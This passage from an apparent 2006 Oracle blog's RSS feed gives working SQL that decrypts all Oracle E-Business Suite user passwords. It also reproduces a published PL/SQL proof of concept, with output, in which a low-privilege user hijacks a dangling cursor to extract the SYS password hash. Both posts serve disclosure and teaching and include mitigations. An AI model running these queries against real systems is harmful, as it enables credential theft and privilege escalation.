<p>The <code>key</code> is the decrypted <code>ENCRYPTED_FOUNDATION_PASSWORD</code>. The <code>value</code> is the <code>ENCRYPTED_USER_PASSWORD</code>.</p>

<p>So, the first step in the decryption of a user&#8217;s password is to decrypt the ENCRYPTED_FOUNDATION_PASSWORD. This can be accomplished by executing the following query:</p>

<pre><code>  WITH guest AS
       (
          SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
                 UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                1,
                                  INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                         '/'
                                        )
                                - 1
                               )
                       ) user_name
            FROM DUAL)
  SELECT fnd_web_sec.decrypt (guest.user_pwd,
                              fnd_user.encrypted_foundation_password
                             ) apps_password
    FROM fnd_user,
         guest
   WHERE fnd_user.user_name = guest.user_name
</code></pre>

<p>Now, using the above query, we can now decrypt all the values in the <code>FND_USER.ENCRYPTED_USER_PASSWORD</code> column:</p>

<pre><code>  WITH guest AS
       (
          SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
                 UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                1,
                                  INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                         '/'
                                        )
                                - 1
                               )
                       ) user_name
            FROM DUAL)
  SELECT   fnd_user.user_name,
           fnd_web_sec.decrypt
              ((SELECT fnd_web_sec.decrypt
                                         (guest.user_pwd,
                                          fnd_user.encrypted_foundation_password
                                         ) apps_password
                  FROM fnd_user,
                       guest
                 WHERE fnd_user.user_name = guest.user_name),
               fnd_user.encrypted_user_password
              ) decrypted_user_password
      FROM fnd_user
  ORDER BY fnd_user.user_name
</code></pre>

<p>VOILA!</p>

<p>Of course, in order for the above queries to work, you have to have the privilege to modify and compile the package <code>APPS.FND_WEB_SEC</code>. Assuming that you do have this privilege on a development instance and assuming that passwords are not reset when a development instance is refreshed from a production instance, this can represent a serious security risk.</p>

<p><strong>Updated a few hours later:</strong> Stephen Kost just <a href="http://www.integrigy.com/oracle-security-blog/archive/2006/12/12/oracle-apps-password-weakness">blogged about this subject</a>. He writes that since the decryption routine is a Java class, it is actually easy to create a Java application that calls the decrypt method.  So, no need to even have access to a database to run the decrypt. Moreover, he does not expect Oracle to fix this password weakness in the foreseeable future. He also offers a few recommendations to improve the security of the user passwords, like making sure that APPLSYSPUB does not have SELECT privileges on APPS.FND_USER_VIEW, changing the passwords for all Oracle Applications 11i seeded accounts, creating all new user accounts with strong and unique passwords and limiting access to the APPLSYS.FND_USER and APPLSYS.FND_ORACLE_USERID tables by all non-DBA accounts.</p>

<p><strong>Updated January 9 2007:</strong> <a href="http://www.integrigy.com/security-resources/whitepapers/apps-password-weakness">Oracle Applications Password Decryption</a> (PDF)</p>
<p>Related articles:<ul>
<li><a href='http://awads.net/wp/2011/07/21/how-to-create-and-use-custom-business-events-in-oracle-e-business-suite/' rel='bookmark' title='How To Create and Use Custom Business Events in Oracle E-Business Suite'>How To Create and Use Custom Business Events in Oracle E-Business Suite</a></li>
<li><a href='http://awads.net/wp/2011/06/20/best-practices-for-oracle-e-business-suite-performance-tuning/' rel='bookmark' title='Best Practices for Oracle E-Business Suite Performance Tuning'>Best Practices for Oracle E-Business Suite Performance Tuning</a></li>
<li><a href='http://awads.net/wp/2011/12/06/upgrading-from-oracle-e-business-suite-to-fusion-apps/' rel='bookmark' title='Upgrading from Oracle E-business Suite to Fusion Apps'>Upgrading from Oracle E-business Suite to Fusion Apps</a></li>
</ul></p><hr />
<p><small>© <a href="http://awads.net/wp">Eddie Awad&#039;s Blog</a>, 2006. |
<a href="http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/">Permalink</a> |
<a href="http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comments">18 comments</a> | 
Topic: <a href="http://awads.net/wp/category/oracle/" title="View all posts in Oracle" rel="category tag">Oracle</a>, <a href="http://awads.net/wp/category/security/" title="View all posts in Security" rel="category tag">Security</a> | 
Tags: <a href="http://awads.net/wp/tag/ebs/" rel="tag">EBS</a>, <a href="http://awads.net/wp/tag/hack/" rel="tag">hack</a>
<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
	
	</item>
		<item>
		<title>&#9733; See How To Hack Oracle Using Dangling Cursor Snarfing</title>
		<link>http://awads.net/wp/2006/11/29/see-how-to-hack-oracle-using-dangling-cursor-snarfing/</link>
		<comments>http://awads.net/wp/2006/11/29/see-how-to-hack-oracle-using-dangling-cursor-snarfing/#comments</comments>
		<pubDate>Wed, 29 Nov 2006 08:28:57 +0000</pubDate>
		<dc:creator>Eddie Awad</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[cursor]]></category>
		<category><![CDATA[hack]]></category>

		<guid isPermaLink="false">http://awads.net/wp/2006/11/29/see-how-to-hack-oracle-using-dangling-cursor-snarfing/</guid>
		<description><![CDATA[David Litchfield published a paper demonstrating how an unclosed or dangling cursor created and used by DBMS_SQL can lead to a security hole. I ran his proof of this vulnerability on my Oracle Database 10g Express Edition database. Connected as SYS: SQL&#62; CREATE OR REPLACE PROCEDURE pwd_compare(p_user VARCHAR) IS 2 cursor_name INTEGER; 3 v_pwd VARCHAR2(30); [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.databasesecurity.com/dlitchfield/aboutme.htm">David Litchfield</a> published <a href="http://awads.net/wp/wp-content/uploads/2006/11/cursor-snarfing.pdf">a paper</a> demonstrating how an unclosed or dangling cursor created and used by <a href="http://download-west.oracle.com/docs/cd/B19306_01/appdev.102/b14258/d_sql.htm">DBMS_SQL</a> can lead to a security hole.</p>

<p>I ran his proof of this vulnerability on my Oracle Database 10g Express Edition database.</p>

<p>Connected as SYS:</p>

<pre><code>SQL&gt; CREATE OR REPLACE PROCEDURE pwd_compare(p_user VARCHAR) IS
  2    cursor_name INTEGER;
  3    v_pwd VARCHAR2(30);
  4    i INTEGER;
  5  BEGIN
  6
  7    IF p_user != 'SYS' THEN
  8      cursor_name := dbms_sql.open_cursor;
  9      DBMS_OUTPUT.PUT_LINE('CURSOR: ' || cursor_name);
 10      dbms_sql.parse(cursor_name,
 11        'SELECT PASSWORD FROM SYS.DBA_USERS WHERE USERNAME = :u',
 12        dbms_sql.native);
 13      dbms_sql.bind_variable(cursor_name,   ':u',   p_user);
 14      dbms_sql.define_column(cursor_name,   1,   v_pwd,   30);
 15      i := dbms_sql.EXECUTE(cursor_name);
 16
 17      IF dbms_sql.fetch_rows(cursor_name) &gt; 0 THEN
 18        dbms_sql.column_value(cursor_name,   1,   v_pwd);
 19      END IF;
 20
 21      IF v_pwd = '0123456789ABCDEF' THEN
 22        DBMS_OUTPUT.PUT_LINE('Hmmm....');
 23      END IF;
 24
 25      dbms_sql.close_cursor(cursor_name);
 26    END IF;
 27
 28  END;
 29  /

Procedure created.

SQL&gt; GRANT EXECUTE ON pwd_compare TO PUBLIC;

Grant succeeded.
</code></pre>

<p>Note that, in the code above, there is no exception handling so if there is an error before the cursor is closed then the cursor will be left dangling.</p>

<p>Now, let&#8217;s connect as HR, a lower privileged user than SYS, and execute the procedure <code>pwd_compare</code> making sure we generate an exception in it:</p>

<pre><code>SQL&gt; DECLARE x VARCHAR(32000);
  2  i INTEGER;
  3  BEGIN
  4    FOR i IN 1 .. 10000
  5    LOOP
  6      x := 'B' || x;
  7    END LOOP;
  8
  9    sys.pwd_compare(x);
 10  END;
 11  /
CURSOR: 6
DECLARE x VARCHAR(32000);
*
ERROR at line 1:
ORA-01460: unimplemented or unreasonable conversion requested
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1202
ORA-06512: at "SYS.DBMS_SQL", line 323
ORA-06512: at "SYS.PWD_COMPARE", line 15
ORA-06512: at line 9
</code></pre>

<p>What we have now is a dangling cursor with an ID number of 6. Armed with this piece of information we can rebind the username associated with the query, using SYS, then re-execute the query and extract the password hash for the SYS user bypassing the logic in the procedure <code>pwd_compare</code>:</p>

<pre><code>SQL&gt; DECLARE cursor_name INTEGER;
  2  i INTEGER;
  3  pwd VARCHAR2(30);
  4  BEGIN
  5    cursor_name := 6;
  6    dbms_sql.bind_variable(cursor_name,   ':u',   'SYS');
  7    dbms_sql.define_column(cursor_name,   1,   pwd,   30);
  8    i := dbms_sql.EXECUTE(cursor_name);
  9
 10    IF dbms_sql.fetch_rows(cursor_name) &gt; 0 THEN
 11      dbms_sql.column_value(cursor_name,   1,   pwd);
 12    END IF;
 13
 14    dbms_sql.close_cursor(cursor_name);
 15    DBMS_OUTPUT.PUT_LINE('PWD: ' || pwd);
 16  END;
 17  /
PWD: 586EEA79959C07B1

PL/SQL procedure successfully completed.
</code></pre>

<p>Interesting!</p>

<p>Lessons learned:</p>

<ol>
<li>Always perform extensive input validation.</li>
<li>Always add exception handlers to your blocks.</li>
<li>Always make sure to close your cursors.</li>
</ol>

<p>Sources and resources:</p>

<ul>
<li><a href="http://www.databasesecurity.com/oracle-hacking.htm">databasesecurity.com &#8211; Hacking Oracle</a></li>
<li><a href="http://www.securityfocus.com/archive/1/452715">SecurityFocus &#8211; BugTraq mailing list</a></li>
<li><a href="http://www.eweek.com/article2/0,1895,2064828,00.asp">eWeek &#8211; Security Researcher: Beware Dangling Cursors in Oracle Code</a></li>
</ul>
<p>Related articles:<ul>
<li><a href='http://awads.net/wp/2008/11/10/5-recommendations-about-cursor-for-loops-in-oracle-plsql/' rel='bookmark' title='5 Recommendations About Cursor FOR Loops in Oracle PL/SQL'>5 Recommendations About Cursor FOR Loops in Oracle PL/SQL</a></li>
<li><a href='http://awads.net/wp/2005/12/19/producing-xml-from-sql-using-cursor-expressions/' rel='bookmark' title='Producing XML from SQL using cursor expressions'>Producing XML from SQL using cursor expressions</a></li>
<li><a href='http://awads.net/wp/2005/07/19/oracle-ref-cursor-and-coldfusion/' rel='bookmark' title='Oracle REF CURSOR and ColdFusion'>Oracle REF CURSOR and ColdFusion</a></li>
</ul></p><hr />
<p><small>© <a href="http://awads.net/wp">Eddie Awad&#039;s Blog</a>, 2006. |
<a href="http://awads.net/wp/2006/11/29/see-how-to-hack-oracle-using-dangling-cursor-snarfing/">Permalink</a> |
<a href="http://awads.net/wp/2006/11/29/see-how-to-hack-oracle-using-dangling-cursor-snarfing/#comments">One comment</a> | 
Topic: <a href="http://awads.net/wp/category/oracle/" title="View all posts in Oracle" rel="category tag">Oracle</a>, <a href="http://awads.net/wp/category/security/" title="View all posts in Security" rel="category tag">Security</a>, <a href="http://awads.net/wp/category/tips/" title="View all posts in Tips" rel="category tag">Tips</a> | 
Tags: <a href="http://awads.net/wp/tag/cursor/" rel="tag">cursor</a>, <a href="http://awads.net/wp/tag/hack/" rel="tag">hack</a>, <a href="http://awads.net/wp/tag/security/" rel="tag">Security</a>
<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://awads.net/wp/2006/11/29/see-how-to-hack-oracle-using-dangling-cursor-snarfing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
	</item>
		<item>
		<title>&#9733; A Couple of Podcasts About PL/SQL and Oracle Security</title>
		<link>http://awads.net/wp/2006/11/09/a-couple-of-podcasts-about-plsql-and-oracle-security/</link>
		<comments>http://awads.net/wp/2006/11/09/a-couple-of-podcasts-about-plsql-and-oracle-security/#comments</comments>
		<pubDate>Thu, 09 Nov 2006 21:16:20 +0000</pubDate>
		<dc:creator>Eddie Awad</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[pl/sql]]></category>
		<category><![CDATA[podcast]]></category>

		<guid isPermaLink="false">http://awads.net/wp/2006/11/09/a-couple-of-podcasts-about-plsql-and-oracle-security/</guid>
		<description><![CDATA[SearchOracle.com has just published a couple of interesting podcasts. The first, titled Expert says PL/SQL change needed in Oracle 11g, is an interview with Steven Feuerstein. In the interview, Steven answers the following questions: Considering how big OpenWorld has become, should there be a separate conference for PL/SQL developers? Your session at the conference was [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://SearchOracle.com">SearchOracle.com</a> has just published a couple of interesting podcasts.</p>

<p>The first, titled <a href="http://searchoracle.techtarget.com/originalContent/0,289142,sid41_gci1229151,00.html">Expert says PL/SQL change needed in Oracle 11g</a>, is an interview with Steven Feuerstein.</p>

<p>In the interview, Steven answers the following questions:</p>

<ul>
<li>Considering how big OpenWorld has become, should there be a separate conference for PL/SQL developers?</li>
<li>Your session at the conference was entitled &#8220;Ten things you should never do with PL/SQL.&#8221; What was number one?</li>
<li>What do you think is the biggest problem or challenge that PL/SQL developers need to address?</li>
<li>Users are very conditioned to accept bugs. Does this need to change?</li>
<li>Can you tell us about your new free tool for testing code?</li>
<li>What do you think are the biggest deficiencies in the PL/SQL language itself?</li>
<li>You&#8217;ve written ten very well regarded books. What&#8217;s next?</li>
</ul>

<p><strong><a href="http://media.techtarget.com/audioCast/ENTERPRISE_APPS/sOracle_Feuerstein_2006_11_07.mp3">Listen to Steven&#8217;s answers</a></strong></p>

<p>The second podcast, titled <a href="http://searchoracle.techtarget.com/originalContent/0,289142,sid41_gci1229149,00.html">Security expert sizes up Oracle patch policies</a>, is an interview with Aaron Newman, author of &#8220;Oracle Security Handbook&#8221; and co-founder and chief technology officer of Application Security Inc.</p>

<p>In the interview, Aaron answers the following questions:</p>

<ul>
<li>Is Oracle OpenWorld getting too big to be useful?</li>
<li>Can you explain the methodology behind what you call post-attack analytics?</li>
<li>You argue that improper use of Oracle security products can erase the trail of an attacker. Could you elaborate on that?</li>
<li>What do you think about the overall state of Oracle security these days?</li>
<li>Is patching vulnerabilities a problem for Oracle?</li>
<li>How does Oracle stack up against Microsoft and IBM in the area of patching?</li>
<li>What does your firm offer in terms of security that Oracle does not?</li>
<li>Will Oracle&#8217;s Fusion initiative be good or bad for Oracle security?</li>
<li>What have you heard about the upcoming Oracle Database 11g?</li>
<li>What are some of the pet peeves you have with Oracle DBAs when it comes to security?</li>
</ul>

<p><strong><a href="http://media.techtarget.com/audioCast/ENTERPRISE_APPS/sOracle_Newman_2006_11_07.mp3">Listen to Aaron&#8217;s answers</a></strong></p>
<p>Related articles:<ul>
<li><a href='http://awads.net/wp/2006/09/07/oracle-security-podcast-with-pete-finnigan/' rel='bookmark' title='Oracle Security Podcast With Pete Finnigan'>Oracle Security Podcast With Pete Finnigan</a></li>
<li><a href='http://awads.net/wp/2007/05/24/new-oracle-security-videos-and-blog/' rel='bookmark' title='New Oracle Security Videos and Blog'>New Oracle Security Videos and Blog</a></li>
<li><a href='http://awads.net/wp/2007/03/31/oracle-database-listener-security-guide/' rel='bookmark' title='Oracle Database Listener Security Guide'>Oracle Database Listener Security Guide</a></li>
</ul></p><hr />
<p><small>© <a href="http://awads.net/wp">Eddie Awad&#039;s Blog</a>, 2006. |
<a href="http://awads.net/wp/2006/11/09/a-couple-of-podcasts-about-plsql-and-oracle-security/">Permalink</a> |
<a href="http://awads.net/wp/2006/11/09/a-couple-of-podcasts-about-plsql-and-oracle-security/#comments">5 comments</a> | 
Topic: <a href="http://awads.net/wp/category/oracle/" title="View all posts in Oracle" rel="category tag">Oracle</a>, <a href="http://awads.net/wp/category/security/" title="View all posts in Security" rel="category tag">Security</a> | 
Tags: <a href="http://awads.net/wp/tag/plsql/" rel="tag">pl/sql</a>, <a href="http://awads.net/wp/tag/podcast/" rel="tag">podcast</a>, <a href="http://awads.net/wp/tag/security/" rel="tag">Security</a>
<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://awads.net/wp/2006/11/09/a-couple-of-podcasts-about-plsql-and-oracle-security/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
<enclosure url="http://media.techtarget.com/audioCast/ENTERPRISE_APPS/sOracle_Feuerstein_2006_11_07.mp3" length="13299171" type="audio/mpeg" />
<enclosure url="http://media.techtarget.com/audioCast/ENTERPRISE_APPS/sOracle_Newman_2006_11_07.mp3" length="15172461" type="audio/mpeg" />
	
	</item>
		<item>
		<title>&#9733; Oracle Security Podcast With Pete Finnigan</title>
		<link>http://awads.net/wp/2006/09/07/oracle-security-podcast-with-pete-finnigan/</link>
		<comments>http://awads.net/wp/2006/09/07/oracle-security-podcast-with-pete-finnigan/#comments</comments>
		<pubDate>Thu, 07 Sep 2006 16:56:45 +0000</pubDate>
		<dc:creator>Eddie Awad</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[podcast]]></category>

		<guid isPermaLink="false">http://awads.net/wp/2006/09/07/oracle-security-podcast-with-pete-finnigan/</guid>
		<description><![CDATA[I have just finished listening to a very interesting podcast interview with Pete Finnigan (via SearchOracle.com). Pete discusses the problems with Oracle PL/SQL wrapping and hopes that Oracle releases all the built-in PL/SQL packages unwrapped as clear text, as in open source, so that everyone can help with finding bugs. Pete also advises DBAs to [...]]]></description>
			<content:encoded><![CDATA[<p>I have just finished listening to a very interesting podcast interview with <a href="http://www.petefinnigan.com/">Pete Finnigan</a> (via <a href="http://searchoracle.techtarget.com/originalContent/0,289142,sid41_gci1214534,00.html">SearchOracle.com</a>). Pete discusses the problems with Oracle PL/SQL wrapping and hopes that Oracle releases all the built-in PL/SQL packages unwrapped as clear text, as in open source, so that everyone can help with finding bugs. Pete also advises DBAs to think like hackers in order to improve the security of the database.</p>

<p><a href="http://media.techtarget.com/audioCast/ENTERPRISE_APPS/sorcl_Oracle_Security_08-29-06.mp3">Listen</a> to the podcast.</p>
<p>Related articles:<ul>
<li><a href='http://awads.net/wp/2006/11/09/a-couple-of-podcasts-about-plsql-and-oracle-security/' rel='bookmark' title='A Couple of Podcasts About PL/SQL and Oracle Security'>A Couple of Podcasts About PL/SQL and Oracle Security</a></li>
<li><a href='http://awads.net/wp/2005/11/04/podcast-about-oracle-db-xe/' rel='bookmark' title='Podcast about Oracle DB XE'>Podcast about Oracle DB XE</a></li>
<li><a href='http://awads.net/wp/2007/08/29/listen-to-three-geeks-talking-about-oracle-11g/' rel='bookmark' title='Listen to Three Geeks Talking About Oracle 11g'>Listen to Three Geeks Talking About Oracle 11g</a></li>
</ul></p><hr />
<p><small>© <a href="http://awads.net/wp">Eddie Awad&#039;s Blog</a>, 2006. |
<a href="http://awads.net/wp/2006/09/07/oracle-security-podcast-with-pete-finnigan/">Permalink</a> |
<a href="http://awads.net/wp/2006/09/07/oracle-security-podcast-with-pete-finnigan/#comments">One comment</a> | 
Topic: <a href="http://awads.net/wp/category/oracle/" title="View all posts in Oracle" rel="category tag">Oracle</a>, <a href="http://awads.net/wp/category/security/" title="View all posts in Security" rel="category tag">Security</a> | 
Tags: <a href="http://awads.net/wp/tag/podcast/" rel="tag">podcast</a>, <a href="http://awads.net/wp/tag/security/" rel="tag">Security</a>
<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://awads.net/wp/2006/09/07/oracle-security-podcast-with-pete-finnigan/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://media.techtarget.com/audioCast/ENTERPRISE_APPS/sorcl_Oracle_Security_08-29-06.mp3" length="17364975" type="audio/mpeg" />
	
	</item>
	</channel>
</rss>

